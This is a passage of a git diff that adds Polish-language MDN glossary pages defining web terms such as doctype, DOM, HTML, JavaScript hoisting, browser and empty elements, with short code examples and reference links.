+<p>W {{Glossary("HTML")}}, doctype jest wymaganą preambułą "<code>&lt;!DOCTYPE html&gt;</code>" znajdującą się na początku wszystkich dokumentów. Jego jedynym celem jest uniemożliwienie {{Glossary("browser", "przeglądarce")}} przełączenia się w tak zwany <a href="https://developer.mozilla.org/pl/docs/Web/HTML(PL)/Tryb_Zgodnosci_oraz_Tryb_Standardow">“tryb zgodności”</a> podczas renderowania dokumentu; to znaczy, doctype "<code>&lt;!DOCTYPE html&gt;</code>" zapewnia, że przeglądarka podejmie najlepszą próbę zastosowania się do odpowiednich specyfikacji, zamiast używania innego trybu renderowania, który jest niezgodny z niektórymi specyfikacjami.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/syntax.html#the-doctype">Definicja DOCTYPE w specyfikacji HTML</a></li>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/HTML(PL)/Tryb_Zgodnosci_oraz_Tryb_Standardow">Tryb Zgodności i Tryb Standardów</a></li>
+</ul>
+
+<h3 id="Odniesienia_techniczne">Odniesienia techniczne</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/API/Document/doctype">Document.doctype</a>, metoda JavaScript, która zwraca doctype</li>
+</ul>
diff --git a/files/pl/glossary/dom/index.html b/files/pl/glossary/dom/index.html
new file mode 100644
index 0000000000..0fe53af3d3
--- /dev/null
+++ b/files/pl/glossary/dom/index.html
@@ -0,0 +1,29 @@
+---
+title: DOM
+slug: Glossary/DOM
+tags:
+ - DOM
+ - obiektowy model dokumentu
+ - węzeł
+translation_of: Glossary/DOM
+---
+<p>DOM (Obiektowy Model Dokumentu, ang. Document Object Model) to {{glossary("API")}}, które reprezentuje dokumenty {{glossary("HTML")}} i {{glossary("XML")}} oraz pozwala na komunikowanie się z nimi. DOM jest modelem dokumentu ładowanego w {{glossary("browser")}} reprezentowanego jako drzewo, w którym każdy węzeł reprezentuje część dokumentu (np {{Glossary("element")}}, ciągi znaków, komentarze).</p>
+
+<p>DOM jest jednym z najczęściej używanych {{Glossary("API")}} w {{glossary("World Wide Web","Web")}} ponieważ pozwala ono na dostęp i interakcję z węzłami dokumentu. Węzły te mogą być tworzone, przenoszone i zmieniane. Do węzłów można także dodać nasłuchiwanie zdarzeń (ang. event listener).</p>
+
+<p>DOM początkowo nie posiadało specyfikacji —zaczęła się ona pojawiać w momencie gdy przeglądarki zaczęły implementować {{Glossary("JavaScript")}}. Przestarzała już wersja DOMu nazywana jest czasem DOM 0. Obecnie, WHATWG rozwija DOM Living Standard.</p>
+
+<h2 id="Zobacz_więcej">Zobacz więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Document_Object_Model", "The Document Object Model")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Informacje_techniczne">Informacje techniczne</h3>
+
+<ul>
+ <li><a href="/en-US/docs/DOM">The DOM documentation on MDN</a></li>
+ <li><a href="https://dom.spec.whatwg.org/" rel="external">The DOM Standard</a></li>
+</ul>
diff --git a/files/pl/glossary/firefox_os/index.html b/files/pl/glossary/firefox_os/index.html
new file mode 100644
index 0000000000..7ebcd878ab
--- /dev/null
+++ b/files/pl/glossary/firefox_os/index.html
@@ -0,0 +1,23 @@
+---
+title: Firefox OS
+slug: Glossary/Firefox_OS
+tags:
+ - Firefox OS
+ - Gecko
+translation_of: Glossary/Firefox_OS
+---
+<p id="Summary">Firefox OS to system operacyjny dla urządzeń mobilnych Mozilli, oparty na Linuksie oraz {{glossary("Mozilla Firefox","Firefox's")}} wydajnym mechaniźmie renderowania {{glossary("Gecko")}}. Firefox OS składa się głównie z {{glossary("Gaia")}}, {{glossary("Gecko")}}, i {{glossary("Gonk")}}.</p>
+
+<h2 id="Zobacz_więcej">Zobacz więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Firefox OS")}} na Wikipedii</li>
+</ul>
+
+<h3 id="Informacje_techniczne">Informacje techniczne</h3>
+
+<ul>
+ <li>Dowiedz się o wiele więcej na temat Firefox OS w MDN <a href="/en-US/Firefox_OS">Firefox OS Zone</a>!</li>
+</ul>
diff --git a/files/pl/glossary/hipertekst/index.html b/files/pl/glossary/hipertekst/index.html
new file mode 100644
index 0000000000..e699949584
--- /dev/null
+++ b/files/pl/glossary/hipertekst/index.html
@@ -0,0 +1,26 @@
+---
+title: Hipertekst
+slug: Glossary/Hipertekst
+tags:
+ - Glossary
+ - Web
+ - WebMechanics
+translation_of: Glossary/Hypertext
+---
+<p>Hipertekst to tekst, który zawiera odnośniki do innych tekstów, w przeciwieństwie do pojedynczego przepływu liniowego jak w powieści.</p>
+
+<p>Termin ten został wymyślony przez Teda Nelsona około 1965 roku.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="https://pl.wikipedia.org/wiki/Hipertekst">Hipertekst</a> na Wikipedii</li>
+</ul>
+
+<h3 id="Odniesienia_techniczne">Odniesienia techniczne</h3>
+
+<ul>
+ <li><a href="http://www.ualberta.ca/dept/chemeng/AIX-43/share/man/info/C/a_doc_lib/aixuser/aix6kdov/hyperv1aix.htm">Baza informacji hipertekstowych</a></li>
+</ul>
diff --git a/files/pl/glossary/hoisting/index.html b/files/pl/glossary/hoisting/index.html
new file mode 100644
index 0000000000..cc9b2babd6
--- /dev/null
+++ b/files/pl/glossary/hoisting/index.html
@@ -0,0 +1,64 @@
+---
+title: Hoisting
+slug: Glossary/Hoisting
+translation_of: Glossary/Hoisting
+---
+<p>W języku {{Glossary("JavaScript")}}, {{Glossary("Function", "funkcje")}} oraz {{Glossary("Variable", "zmienne")}} są <strong>windowane</strong>. Windowanie (hoisting) w JavaScripcie oznacza przeniesienie deklaracji na samą górę (do globalnego {{Glossary("scope", "zasięgu")}} lub do zasięgu funkcji).</p>
+
+<p>Oznacza to, że możesz użyć funkcji lub zmiennej przed jej zadeklarowaniem lub innymi słowy: funkcje lub zmienne mogę być deklarowane po ich użyciu.</p>
+
+<h2 id="Naucz_się_więcej">Naucz się więcej</h2>
+
+<h3 id="Przykład">Przykład</h3>
+
+<p>Zmienne:</p>
+
+<pre class="brush: js">foo = 2
+var foo;
+
+// można to rozumieć jako:
+
+var foo;
+foo = 2;</pre>
+
+<p>Funkcje:</p>
+
+<pre class="brush: js">hoisted(); // w consoli zobaczymy "foo"
+
+function hoisted() {
+ console.log("foo");
+}</pre>
+
+<h3 id="Tylko_deklaracje_są_windowane">Tylko deklaracje są windowane</h3>
+
+<p>W języku JavaScript tylko deklaracje są windowane, nie inicjalizacje. Jeśli zmienna zostanie zadeklarowana i zainicjalizowana po jej użyciu, wartość zmiennej będzię niezdefiniowana (undefined).</p>
+
+<pre class="brush: js">console.log(num); // zwróci undefined
+var num;
+num = 6;</pre>
+
+<p>Jeśli zadeklarujesz zmienną po tym jak zostanie użyta, ale zainicjalizujesz jej wartość przed tym, owa wartość zostanie zwrócona:</p>
+
+<pre class="brush: js">num = 6;
+console.log(num); // zwróci 6
+var num;</pre>
+
+<p>Dwa przykłady poniżej obrazują to samo zachowanie.</p>
+
+<pre><code>var x = 1; // inicjalizacja x
+console.log(x + " " + y); // '1 undefined'
+var y = 2; // inicjalizacja y
+
+// Powyższy przykład jest rozumiany jako:
+var x = 1; // inicjalizacja x
+var y; // deklaracja y
+console.log(x + " " + y); // '1 undefined'
+y = 2; // inicjalizacja y</code></pre>
+
+<h3 id="Odnośniki">Odnośniki</h3>
+
+<ul>
+ <li><a href="https://www.udemy.com/understand-javascript/">JavaScript: Understanding the Weird Parts</a> - Udemy.com Course</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var statement</a> - MDN</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> - MDN</li>
+</ul>
diff --git a/files/pl/glossary/html/index.html b/files/pl/glossary/html/index.html
new file mode 100644
index 0000000000..e76af7ecf8
--- /dev/null
+++ b/files/pl/glossary/html/index.html
@@ -0,0 +1,51 @@
+---
+title: HTML
+slug: Glossary/HTML
+tags:
+ - CodingScripting
+ - Glossary
+ - HTML
+ - 'l10n:priority'
+translation_of: Glossary/HTML
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Glossary")}}</div>
+
+<p><strong>HTML</strong> (HyperText Markup Language) jest językiem opisowym, który określa strukturę strony internetowej.</p>
+
+<h2 id="Skrócona_historia">Skrócona historia</h2>
+
+<p>W 1990 roku, w ramach swojej wizji {{Glossary("World Wide Web","Sieci")}}, Tim Berners-Lee zdefiniował pojęcie {{Glossary("hypertext","hipertekstu")}}, które Berners-Lee sformalizował w następnym roku za pomocą znacznika opartego głównie na {{Glossary("SGML")}}. {{Glossary("IETF")}} zaczął formalnie określać kod HTML w 1993 roku, a po kilku projektach wydał wersję 2.0 w 1995. W 1994 Berners-Lee założył {{Glossary("W3C")}} w celu rozwijania Sieci Web. W 1996 roku, the W3C przejęło prace nad HTML i rok później opublikowało rekomendację HTML 3.2. HTML 4.0 został wydany w 1999 roku i stał się standardem {{Glossary("ISO")}} w 2000 roku.</p>
+
+<p>W tym czasie W3C prawie porzuciło HTML na rzecz {{Glossary("XHTML")}}, co skłoniło do założenia w 2004 roku niezależnej grupy o nazwie {{Glossary("WHATWG")}}. Dzięki WHATWG, prace nad {{Glossary("HTML5")}} były kontynuowane: obie organizacje wydały pierwszy projekt w 2008 roku i ostateczny standard w 2014 roku.</p>
+
+<h2 id="Koncepcja_i_składnia">Koncepcja i składnia</h2>
+
+<p>Dokument HTML jest dokumentem tekstowym zbudowanym z {{Glossary("element","elementów")}}. Elementy są otoczone pasującymi {{Glossary("tag","znacznikami")}} otwierającymi i zamykającymi. Każdy znacznik zaczyna się i kończy nawiasami kątowymi (<code>&lt;&gt;</code>). Istnieje kilka pustych lub <em>nieważnych</em> znaczników, które nie mogą zawierać żadnego tekstu, na przykład {{htmlelement("img")}}.</p>
+
+<p>Można rozszerzyć znaczniki HTML o {{Glossary("attribute","atrybuty")}}, które dostarczają dodatkowych informacji wpływających na interpretację elementu przez przeglądarkę:</p>
+
+<p><img alt="Szczegóły dotyczące struktury elementu HTML" src="https://mdn.mozillademos.org/files/16673/anatomia-elementu-html-2.png" style="height: 181px; width: 609px;"></p>
+
+<p>Plik HTML jest zwykle zapisywany z rozszerzeniem <code>.htm</code> lub <code>.html</code>, obsługiwanym przez {{Glossary("Server","serwer WWW")}}, i może być renderowany przez dowolną {{Glossary("Browser","przeglądarkę internetową")}}.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="https://pl.wikipedia.org/wiki/HTML">HTML</a> na Wikipedii</li>
+</ul>
+
+<h3 id="Nauka_HTML">Nauka HTML</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Learn/HTML">Nasz poradnik HTML</a></li>
+ <li><a href="https://www.codecademy.com/learn/learn-html" rel="external">Kurs internetowy na codecademy.com</a></li>
+</ul>
+
+<h3 id="Odniesienia_techniczne">Odniesienia techniczne</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/HTML(PL)">Dokumentacja HTML na MDN</a></li>
+ <li><a href="http://www.w3.org/TR/html5/" rel="external">Specyfikacja HTML</a></li>
+</ul>
diff --git a/files/pl/glossary/ietf/index.html b/files/pl/glossary/ietf/index.html
new file mode 100644
index 0000000000..e2ab6168e2
--- /dev/null
+++ b/files/pl/glossary/ietf/index.html
@@ -0,0 +1,19 @@
+---
+title: IETF
+slug: Glossary/IETF
+tags:
+ - Glossary
+ - IETF
+ - Infrastructure
+ - Internet
+translation_of: Glossary/IETF
+---
+<p><span class="seoSummary">Internet Engineering Task Force (<strong>IETF</strong>) jest ogólnoświatową organizacją, która opracowuje {{glossary('specification','specyfikacje')}} regulujące mechanizmy stojące za {{glossary("Internet","Internetem")}}, w szczególności {{glossary("TCP")}}/{{glossary("IPv6","IP")}} lub Pakiet {{glossary("Protocol","Protokołów")}} Internetowych.</span> IETF jest otwarty, prowadzony przez wolontariuszy i sponsorowany przez <a href="http://www.isoc.org/">Internet Society</a>.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="https://www.ietf.org/">Oficjalna strona internetowa</a></li>
+</ul>
diff --git a/files/pl/glossary/index.html b/files/pl/glossary/index.html
new file mode 100644
index 0000000000..8254a4fb42
--- /dev/null
+++ b/files/pl/glossary/index.html
@@ -0,0 +1,27 @@
+---
+title: Glossary
+slug: Glossary
+tags:
+ - Beginner
+ - Glossary
+ - Index
+ - Landing
+ - NeedsTranslation
+ - TopicStub
+translation_of: Glossary
+---
+<div style="max-width: 300px; float: right; margin: 0 0 .5em 1em;">{{LearnBox({"title":"Poznaj nowe pojęcie:"})}}</div>
+
+<p>Technologie internetowe zawierają mnóstwo terminów, żargonu technicznego i skrótów  używanych  w dokumentacji i kodowaniu. Ten słownik zwiera definicje pojęć i skrótów, które musisz znać, aby rozumieć zagadnienia związane z tworzeniem stron i aplikacji internetowych.</p>
+
+<p>{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}</p>
+
+<h2 id="Przyczyń_się_do_tworzenia_słownika">Przyczyń się do tworzenia słownika</h2>
+
+<p>Nasz słownik, to niekończąca się praca w toku. Możesz pomóc w jego ulepszaniu <a href="/pl/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">pisząc nowe wpisy</a> lub poprawiając istniejące. Najprościej ropocząć można od kliknięcia nastęþującego przycisku  lub wybranie jednego z poniżej sugerowanych pojęć, które trzeba zdefiniować.</p>
+
+<p><strong><a href="/pl/docs/new?parent=4391">Dodaj nowy wpis do słownika</a></strong></p>
+
+<p>{{GlossaryList({"terms":["character encoding","DMZ","event","Firewall","HMAC","condition","modem","OVP","TTL","UX","Unicode"], "filter":"notdefined", "css":"multiColumnList"})}}</p>
+
+<p>Jeśłi chcesz dowiedzieć się węcej o współpracy nad naszym słownikiem, sprawdź <a href="/pl/docs/MDN/Doc_status/Glossary">stronę ze stanem dokumentacji poświęconą słownikowi</a>.</p>
diff --git a/files/pl/glossary/iso/index.html b/files/pl/glossary/iso/index.html
new file mode 100644
index 0000000000..6aad2c5efa
--- /dev/null
+++ b/files/pl/glossary/iso/index.html
@@ -0,0 +1,20 @@
+---
+title: ISO
+slug: Glossary/ISO
+tags:
+ - Glossary
+ - ISO
+ - Infrastructure
+ - Web Standards
+ - web specifications
+translation_of: Glossary/ISO
+---
+<p><strong>ISO </strong>(ang. International Organization for Standardization - Międzynarodowa Organizacja Standaryzacji) jest globalnym stowarzyszeniem, które opracowuje jednolite kryteria koordynujące firmy w każdej większej branży.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="http://www.iso.org/iso/home.html">Oficjalna strona internetowa</a></li>
+</ul>
diff --git a/files/pl/glossary/javascript/index.html b/files/pl/glossary/javascript/index.html
new file mode 100644
index 0000000000..04623f0f83
--- /dev/null
+++ b/files/pl/glossary/javascript/index.html
@@ -0,0 +1,41 @@
+---
+title: JavaScript
+slug: Glossary/JavaScript
+translation_of: Glossary/JavaScript
+---
+<p>JavaScript (JS) jest językiem programowania głównie używanym po stronie klienta do dynamicznego skryptowania stron internetowych, jednakże często znajduje zastosowanie po stronie serwara, używając oprogramowania takiego jak <a href="http://nodejs.org/" rel="external">Node.js</a>.</p>
+
+<p>Nie należy mylić pojęcia JavaScript z <a href="https://pl.wikipedia.org/wiki/Java">językiem programowania Java</a>. Zarówno "Java" jak i "JavaScript" są znakami towarowymi firmy Oracle w Stanach Zjednoczonych i innych krajach. Pomimo podobnej nazwy, języki te mają różną składnię, semantykę i zastosowanie.</p>
+
+<p>Stworzony początkowo do zastosowań server-side, przez Brendana Eicha (zatrudnionego wtedy w Netscape Corporation), JavaScript wkrótce został dodany do przeglądarki Netscape Navigator 2.0 w wrześniu 1995 roku. JavaScript stał się natychmiastowym sukcesem przez co w sierpniu 1996 roku {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} wprowadził wsparcie JavaScriptu pod nazwą JScript.</p>
+
+<p>W listpoadzie 1996 roku, Netscape rozpoczął wraz z ECMA International pracę nad ustandaryzowaniem JavaScriptu. Od tamtego momentu JavaScript, nazywany ECMAScript, jest zdefiniowamy w standardzie ECMA-262, którego ostatnia (siódma) wersja jest dostępna od czerwca 2016.</p>
+
+<p>JavaScript główne jest używany w przeglądarkach internetowych, umożliwiając programistom manipujację zawartością dokumentu poprzez {{Glossary("DOM")}}, przetwarzanie danych przez {{Glossary("AJAX")}} oraz {{Glossary("IndexedDB")}}, rysowanie grafiki używając {{Glossary("canvas")}}, interakcję z urządzeniem uruchamiającym przeglądarkę przez różne {{Glossary("API","API")}} i tym podobne. JavaScript jest jednym z najczęściej używanych języków programowania ze względu na ostatni wzrost ilości {{Glossary("API","API")}} dostępnych w przeglądarkach oraz poprawy ich wydanjości.</p>
+
+<p>Ostatnio, JavaScript wrócił do zastosowań po stronie serwera dzięki sukcesowi <a href="http://nodejs.org/" rel="external">Node.js</a>, najpopularniejszego wieloplatformowego środowiska uruchomieniowego JavaScript poza przeglądarką. Node.js pozwala na użycie JavaScriptu jako języka skryptowego do automatyzacji zadań komputera i budowania w pełni funkcjonalnych serwerów {{Glossary("HTTP")}} i {{Glossary("Web Sockets")}}.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "JavaScript", "JavaScript")}} na Wikipedi</li>
+</ul>
+
+<h3 id="Nauka_JavaScriptu">Nauka JavaScriptu</h3>
+
+<ul>
+ <li>The {{Link("/en-US/docs/Web/JavaScript/Guide")}} on MDN</li>
+ <li><a href="http://nodeschool.io/#workshoppers">The "javascripting" workshop on NodeSchool</a></li>
+ <li><a href="http://www.codecademy.com/tracks/javascript" rel="external">The JavaScript course on codecademy.com</a></li>
+ <li><a href="http://ejohn.org/apps/learn/" rel="external">John Resig's Learning Advanced JavaScript</a></li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li><a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" rel="external">The latest ECMAScript standard</a></li>
+ <li>The {{Link("/en-US/docs/Web/JavaScript/reference")}} on MDN</li>
+ <li><a href="http://eloquentjavascript.net/" rel="external">The <em>Eloquent JavaScript</em> book</a></li>
+</ul>
diff --git a/files/pl/glossary/klasa/index.html b/files/pl/glossary/klasa/index.html
new file mode 100644
index 0000000000..8782d0d017
--- /dev/null
+++ b/files/pl/glossary/klasa/index.html
@@ -0,0 +1,19 @@
+---
+title: Klasa
+slug: Glossary/Klasa
+tags:
+ - glorariusz
+translation_of: Glossary/Class
+---
+<p>W {{glossary("OOP","programowaniu obiektowym")}} <em>klasa </em>określa cechy {{glossary("object","obiektu")}}. Klasa definiuje {{glossary("property","właściwości")}} i {{glossary("method","metody")}} obiektu, stanowi model, na podstawie którego tworzone są konkretne instancje klasy (obiekty). </p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">Języki programowania oparte na klasach vs języki oparte na prototypach</a> (np. JavaScript)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript#The_Class">Stosowanie funkcji jako klas w JavaScript</a></li>
+ <li>(ang.) <a href="https://en.wikipedia.org/wiki/Class-based_programming">Programowanie oparte na klasach</a> na Wikipedii</li>
+ <li><a href="https://pl.wikipedia.org/wiki/Programowanie_obiektowe">Programowanie obiektowe</a> na Wikipedii</li>
+</ul>
diff --git a/files/pl/glossary/kryptografia/index.html b/files/pl/glossary/kryptografia/index.html
new file mode 100644
index 0000000000..e03fc5e0b1
--- /dev/null
+++ b/files/pl/glossary/kryptografia/index.html
@@ -0,0 +1,13 @@
+---
+title: Kryptografia
+slug: Glossary/Kryptografia
+translation_of: Glossary/Cryptography
+---
+<p><strong>Kryptografia</strong> lub kryptologia, to nauka, która bada jak kodować i przekazywać wiadomości w bezpieczny sposób. Projekty kryptograficzne i opracowane algorytmy są używane do kodowania i dekodowania wiadomości w niezabezpieczonym środowisku oraz ich aplikacji. Poza zagadnieniem poufności danych, kryptografia porusza również temat identyfikacji, uwierzytelniania, niezaprzeczalności i integralności danych. Dlatego też badania metod kryptografii są używane w kontekście, kryptosystemów.</p>
+
+<h3 id="Dowiedz_się_więcej_Wiedza_ogólna">Dowiedz się więcej<br>
+ Wiedza ogólna</h3>
+
+<p>     {{Interwiki("wikipedia", "Kryptografia")}}  Wikipedia<br>
+      {{Glossary( "Cryptography")}}<br>
+    <a href="/en-US/docs/"> Informacje poradnik bezpieczeństwa</a></p>
diff --git a/files/pl/glossary/metadata/index.html b/files/pl/glossary/metadata/index.html
new file mode 100644
index 0000000000..0b4d64ed85
--- /dev/null
+++ b/files/pl/glossary/metadata/index.html
@@ -0,0 +1,25 @@
+---
+title: Metadane
+slug: Glossary/Metadata
+tags:
+ - CodingScripting
+ - Glossary
+ - HTML
+ - metadata
+translation_of: Glossary/Metadata
+---
+<p><strong>Metadane </strong>to — w swojej najprostszej definicji — dane opisujące dane. Na przykład dokument {{glossary("HTML")}} to dane, ale HTML może również zawierać metadane w swoim elemencie {{htmlelement("head")}} opisującym dokument — np. kto go napisał i jego podsumowanie.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="https://pl.wikipedia.org/wiki/Metadane">Metadane</a> na Wikipedii</li>
+</ul>
+
+<h3 id="Metadane_HTML">Metadane HTML</h3>
+
+<ul>
+ <li>Element {{htmlelement("meta")}} na MDN</li>
+</ul>
diff --git a/files/pl/glossary/mozilla_firefox/index.html b/files/pl/glossary/mozilla_firefox/index.html
new file mode 100644
index 0000000000..488bac88e5
--- /dev/null
+++ b/files/pl/glossary/mozilla_firefox/index.html
@@ -0,0 +1,22 @@
+---
+title: Mozilla Firefox
+slug: Glossary/Mozilla_Firefox
+translation_of: Glossary/Mozilla_Firefox
+---
+<p>Mozilla Firefox jest darmową przeglądarką internetową {{Glossary("browser")}} o otwartym kodzie źródłowym, której rozwojem nadzoruje Mozilla Corporation. Firefox działa na Windows, OS X, Linux oraz na Android.</p>
+
+<p>Po raz pierwszy wydana w listopadzie 2004 roku, Firefox jest całkowicie przystosowywalna w motywy, wtyczki oraz dodatki. Firefox używa {{glossary("Gecko")}} do generowania stron internetowych oraz wprowadzania w życie obecnych i przyszłych standardów {{glossary("world wide web", "Web")}}.</p>
+
+<h2 id="Learn_more"><span style="line-height: 1.5;">Learn more</span></h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li><a href="https://www.mozilla.org/firefox">Mozilla Firefox official website</a></li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox">Firefox developer documentations</a> on MDN</li>
+</ul>
diff --git a/files/pl/glossary/obiekt/index.html b/files/pl/glossary/obiekt/index.html
new file mode 100644
index 0000000000..3c9dc807da
--- /dev/null
+++ b/files/pl/glossary/obiekt/index.html
@@ -0,0 +1,20 @@
+---
+title: Obiekt
+slug: Glossary/Obiekt
+tags:
+ - Obiekt
+ - glosariusz
+ - podstawy
+translation_of: Glossary/Object
+---
+<p><a href="/pl/docs/Web/JavaScript/Referencje/Obiekty/Object">Obiekt</a> to struktura danych zawierająca dane i instrukcje odnoszące się do przetwarzania tych danych. Czasami obiekty odpowiadają prawdziwym przedmiotom, np. <code>samochód</code> lub <code>mapa</code> w grze wyścigowej. JavaScript, Java, C++, Python i Ruby to przykłady {{glossary("OOP","obiektowych")}} języków programowania.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Programowanie obiektowe")}} na Wikipedii</li>
+ <li>{{jsxref("Object")}} w <a href="/pl/docs/Web/JavaScript/Referencje">dokumentacji referencyjnej JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Objects">Obiekty jako struktury danych w JavaScript</a></li>
+</ul>
diff --git a/files/pl/glossary/przegladarka/index.html b/files/pl/glossary/przegladarka/index.html
new file mode 100644
index 0000000000..82a7b0997b
--- /dev/null
+++ b/files/pl/glossary/przegladarka/index.html
@@ -0,0 +1,27 @@
+---
+title: Przeglądarka
+slug: Glossary/Przegladarka
+tags:
+ - Glossary
+ - Navigation
+translation_of: Glossary/Browser
+---
+<p><strong>Przeglądarka</strong> <strong>internetowa</strong> lub <strong>przeglądarka</strong> to program, który pobiera i wyświetla strony internetowe z {{Glossary("World Wide Web","Sieci Web")}} i umożliwia dostęp do kolejnych stron poprzez {{Glossary("hyperlink","hiperłącza")}}. Przeglądarka jest najbardziej znanym typem {{Glossary("user agent","agenta użytkownika")}}.</p>
+
+<h2 id="Dowiedz_się_więcej">Dowiedz się więcej</h2>
+
+<h3 id="Wiedza_ogólna">Wiedza ogólna</h3>
+
+<ul>
+ <li><a href="https://pl.wikipedia.org/wiki/Przeglądarka_internetowa">Przeglądarka internetowa</a> na Wikipedii</li>
+ <li><a href="http://www.evolutionoftheweb.com/" rel="external">Ewolucja sieci internetowej</a></li>
+</ul>
+
+<h3 id="Pobierz_przeglądarkę">Pobierz przeglądarkę</h3>
+
+<ul>
+ <li><a href="https://www.mozilla.org/pl/firefox/">Mozilla Firefox</a></li>
+ <li><a href="http://www.google.com/chrome/" rel="external">Google Chrome</a></li>
+ <li><a href="https://www.microsoft.com/pl-pl/windows/microsoft-edge" rel="external">Microsoft Edge</a></li>
+ <li><a href="http://www.opera.com/" rel="external">Opera</a></li>
+</ul>
diff --git a/files/pl/glossary/pusty_element/index.html b/files/pl/glossary/pusty_element/index.html
new file mode 100644
index 0000000000..9606f17176
--- /dev/null
+++ b/files/pl/glossary/pusty_element/index.html
@@ -0,0 +1,34 @@
+---
+title: Pusty element
+slug: Glossary/Pusty_element
+tags:
+ - CodingScripting
+ - Glossary
+ - Intermediate
+translation_of: Glossary/Empty_element
+---
+<p><strong>Pusty element</strong> to {{Glossary("element")}} HTML, SVG lub MathML który <strong>nie może</strong> mieć żadnych węzłów dziecięcych (tj. elementów zagnieżdżonych lub węzłów tekstowych).</p>
+
+<p>Specyfikacje <a href="https://html.spec.whatwg.org/multipage/">HTML</a>, <a href="https://www.w3.org/TR/SVG2/">SVG</a> i <a href="https://www.w3.org/TR/MathML3/">MathML</a> określają bardzo dokładnie, co każdy element może zawierać. Wiele kombinacji nie ma znaczenia semantycznego, na przykład element {{HTMLElement("audio")}} zagnieżdżony wewnątrz elementu {{HTMLElement("hr")}}.</p>
+
+<p>W HTML, użycie znacznika zamykającego na pustym elemencie jest zazwyczaj nieważne. Na przykład, <code>&lt;input type="text"&gt;&lt;/input&gt;</code> jest nieprawidłowy.</p>
+
+<p>Puste elementy w HTML są następujące:</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+ <li>{{HTMLElement("br")}}</li>
+ <li>{{HTMLElement("col")}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("hr")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("keygen")}}(HTML 5.2 Projekt usunięty)</li>
+ <li>{{HTMLElement("link")}}</li>
+ <li>{{HTMLElement("meta")}}</li>
+ <li>{{HTMLElement("param")}}</li>
+ <li>{{HTMLElement("source")}}</li>
+ <li>{{HTMLElement("track")}}</li>
+ <li>{{HTMLElement("wbr")}}</li>
+</ul>
diff --git a/files/pl/glossary/semantyka/index.html b/files/pl/glossary/semantyka/index.html
new file mode 100644
index 0000000000..f05fe7c547
--- /dev/null
+++ b/files/pl/glossary/semantyka/index.html
@@ -0,0 +1,97 @@
+---
+title: Semantyka
+slug: Glossary/Semantyka
+translation_of: Glossary/Semantics
+---
+<p><span class="seoSummary">W programowaniu <strong>Semantyka </strong>oznacza <em>znaczenie</em> kawałka kodu — na przykład: "Jaki efekt da ta linia kodu w JavaScripcie?" lub "Jaki cel lub rolę odgrywa ten element HTML?" (ale nie "Jak to wygląda?").</span></p>
+
+<h2 id="Semantyka_w_języku_JavaScript">Semantyka w języku JavaScript</h2>
+
+<p>Załóżmy, że chcemy stworzyć funkcję, która przyjmuje string jako parametr i zwraca element {{htmlelement("li")}} z tym napisem jako jego <code>textContent</code>. Zwróć uwagę na to, czy potrzebowałbyć przeczytać kod, by dowiedzieć się co dokładnie robi ta funkcja, gdyby była nazwana <code>build('Peach')</code> lub <code>createLiWithContent('Peach')</code>.</p>
+
+<h2 id="Semantyka_w_języku_CSS">Semantyka w języku CSS</h2>
+
